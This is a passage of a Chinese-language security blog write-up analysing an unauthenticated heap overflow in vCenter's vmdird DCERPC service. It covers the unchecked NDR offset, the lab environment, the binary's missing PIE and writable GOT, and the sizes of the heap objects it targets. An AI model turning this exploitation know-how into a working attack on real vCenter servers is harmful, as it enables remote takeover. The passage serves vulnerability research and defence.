5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">漏洞组件：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">libdcerpc.so</span></code><span leaf=""> 中的 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rpc_ss_ndr_contiguous_elt()</span></code><span leaf=""> 函数</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">攻击入口：vmdird 进程，端口 2012 (ncacn_ip_tcp)</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">无需认证</span></strong><span leaf="">：溢出发生在 NDR 反序列化阶段，早于 RPC 访问控制检查</span></p></li></ul><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">实验环境</span></span></h3><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">项目</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">配置</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">目标系统</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">Photon OS, Linux 4.19.269</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">vCenter 版本</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">7.0.3.01500 (VCSA)</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">glibc</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">2.28 (存在 </span><code style="box-sizing: border-box;font-size: 1em;font-family: source-code-pro, Menlo, Monaco, Consolas, &#34;Courier New&#34;, monospace;"><span leaf="">__free_hook</span></code><span leaf="">，无 tcache double-free 检测)</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: rgb(248, 248, 248);"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">vmdird</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">非 PIE</span></strong><p><span leaf=""> (基地址 0x400000)，Partial RELRO (GOT 可写)</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">CPU</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">8 核 (narenas_limit = 64)</span></p></td></tr></tbody></table><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">二、漏洞根因</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">NDR 协议与 Conformant Varying Array</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">DCERPC 使用 NDR (Network Data Representation) 编码传输数据。其中 Conformant Varying Array (CVA, 类型 0x17) 用于编码变长字符串（如 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">[string] wchar_t*</span></code><span leaf="">），结构如下：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">max_count    (4 bytes)  — 数组最大元素数</span></code><br/><code><span leaf="">offset       (4 bytes)  — 起始偏移        ← 这里是漏洞</span></code><br/><code><span leaf="">actual_count (4 bytes)  — 实际元素数</span></code><br/><code><span leaf="">data[]       (变长)     — 实际数据</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">服务器根据 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">max_count</span></code><span leaf=""> 分配缓冲区：</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">buffer = malloc(max_count * element_size)</span></code><span leaf="">，然后将数据写入 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">buffer + offset * element_size</span></code><span leaf=""> 处。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">缺失的边界检查</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">rpc_ss_ndr_contiguous_elt()</span></code><span leaf=""> 函数中，</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">offset</span></code><span leaf="">（即 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">range_list-&gt;lower</span></code><span leaf="">）直接来自网络数据包，</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">没有任何校验</span></strong><span leaf="">：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="c"><code><span leaf="">dest = array_addr + range_list-&gt;lower * element_size;  // offset 未检查！</span></code><br/><code><span leaf="">memcpy(dest, wire_data, actual_count * element_size);   // 溢出！</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">当 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">offset &gt; max_count</span></code><span leaf=""> 时，写入位置超出 buffer 边界，造成堆溢出。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">溢出原语的精妙之处</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这个溢出有一个关键特性：</span><strong style="box-sizing: border-box;font-weight: bold;color: black;"><span leaf="">它不破坏中间数据</span></strong><span leaf="">。</span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">offset</span></code><span leaf=""> 让写入位置直接跳到目标偏移，中间的 chunk metadata 完全不受影响。这意味着：</span></p><ul style="box-sizing: border-box;margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: disc;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">不触发 glibc 的 chunk 完整性检查</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">不破坏 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">prev_size</span></code><span leaf=""> / </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">size</span></code><span leaf=""> 字段</span></p></li><li style="box-sizing: border-box;"><p style="box-sizing: border-box;display: block;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1, 1, 1);font-weight: 500;"><span leaf="">可以精确覆写目标结构体的特定字段</span></p></li></ul><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">我们通过反汇编确认了这一点：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="asm"><code><span leaf="">IMUL ECX, [mem]    ; 32位乘法: offset * element_size</span></code><br/><code><span leaf="">ADD  RAX, RCX      ; dest = array_addr + (uint32)(offset * elem_size)</span></code><br/></pre></p><hr style="box-sizing: initial;height: 1px;overflow: visible;margin: 10px 0px;border-width: 1px medium medium;border-style: solid none none;border-color: black currentcolor currentcolor;border-image: initial;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"/><h2 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 1.3em;border-bottom: 2px solid rgb(239, 112, 96);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">三、目标分析</span></span></h2><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">vmdird 的安全属性</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">checksec</span></code><span leaf=""> 和二进制分析确认：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">PIE:    NO — 基地址固定在 0x400000</span></code><br/><code><span leaf="">RELRO:  Partial — .got.plt 可写 (0x744000-0x744eb0)</span></code><br/></pre></p><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">这意味着 GOT 表中的函数指针（如 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">free@GOT = 0x744480</span></code><span leaf="">）可以被覆写为任意值，且地址在每次运行时不变。</span></p><h3 style="box-sizing: border-box;margin-top: 30px;margin-bottom: 15px;color: rgb(0, 0, 0);font-weight: bold;font-size: 20px;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span style="box-sizing: border-box;"><span leaf="">关键堆对象</span></span></h3><p style="box-sizing: border-box;margin: 0px;font-size: 16px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">通过 objdump 反汇编和 </span><code style="box-sizing: border-box;font-size: 14px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0px 2px;color: rgb(239, 112, 96);background-color: rgba(27, 31, 35, 0.05);word-break: break-all;"><span leaf="">/proc/PID/mem</span></code><span leaf=""> 堆扫描，我们确认了三个关键对象的大小：</span></p><table style="box-sizing: border-box;border-collapse: collapse;display: table;text-align: left;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">对象</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">用途</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">malloc 大小</span></p></th><th style="box-sizing: border-box;text-align: left;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;font-weight: bold;background-color: rgb(240, 240, 240);"><p><span leaf="">chunk 大小</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none none;border-color: rgb(204, 204, 204) currentcolor currentcolor;border-image: initial;background-color: white;"><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">call_rep</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">RPC 响应对象</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC160</span></p></td><td style="box-sizing: border-box;font-size: 16px;border: 1px solid rgb(204, 204, 204);padding: 5px 10px;text-align: left;"><p><span leaf="">0xC170</span></p></td></tr><tr style="box-sizing: border-box;border-width: 1px 0px 0px;border-style: solid none 